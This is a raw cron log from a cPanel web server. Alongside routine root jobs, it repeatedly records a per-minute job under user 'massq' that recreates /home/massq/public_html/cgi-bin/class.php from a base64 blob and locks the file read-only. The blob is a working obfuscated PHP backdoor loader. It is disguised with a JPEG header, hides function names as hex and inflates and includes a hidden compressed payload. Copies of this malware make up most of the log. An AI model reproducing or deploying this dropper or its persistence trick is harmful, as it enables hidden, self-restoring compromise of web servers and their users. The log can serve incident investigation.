Nov 13 01:44:01 server CROND[3759]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:45:01 server CROND[4707]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 01:45:01 server CROND[4709]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 01:45:01 server CROND[4710]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:46:01 server CROND[5666]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:47:01 server CROND[6528]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:48:01 server CROND[7399]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:49:01 server CROND[8159]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:50:01 server CROND[9284]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 01:50:01 server CROND[9285]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 01:50:01 server CROND[9286]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 01:50:01 server CROND[9290]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 01:50:01 server CROND[9295]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:51:01 server CROND[10217]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:52:01 server CROND[11100]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:53:01 server CROND[11965]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:54:01 server CROND[12830]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:55:01 server CROND[13693]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 01:55:01 server CROND[13695]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 01:55:01 server CROND[13696]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:56:01 server CROND[14720]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
